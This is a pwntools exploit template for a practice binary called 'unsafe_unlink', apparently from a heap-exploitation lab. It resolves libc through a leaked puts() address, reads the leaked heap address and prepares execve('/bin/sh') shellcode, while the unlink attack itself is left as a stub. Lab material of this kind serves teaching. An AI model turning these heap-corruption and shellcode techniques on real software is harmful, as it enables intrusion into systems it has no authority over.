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#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("unsafe_unlink")
libc = elf.libc
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size.
# Returns chunk index.
def malloc(size):
global index
io.send("1")
io.sendafter("size: ", f"{size}")
io.recvuntil("> ")
index += 1
return index - 1
# Select the "edit" option; send index & data.
def edit(index, data):
io.send("2")
io.sendafter("index: ", f"{index}")
io.sendafter("data: ", data)
io.recvuntil("> ")
# Select the "free" option; send index.
def free(index):
io.send("3")
io.sendafter("index: ", f"{index}")
io.recvuntil("> ")
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
# This binary leaks the heap start address.
io.recvuntil("heap @ ")
heap = int(io.recvline(), 16)
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# =-=-=- EXAMPLE -=-=-=
# Prepare execve("/bin/sh") shellcode with a jmp over where the fd will be written.
shellcode = asm("jmp shellcode;" + "nop;"*0x16 + "shellcode:" + shellcraft.execve("/bin/sh"))
# Request a small chunk.
small_chunk = malloc(0x88)
# Edit the small chunk.
edit(small_chunk, "X"*32)
# Free the small chunk.
free(small_chunk)
# =============================================================================
io.interactive()
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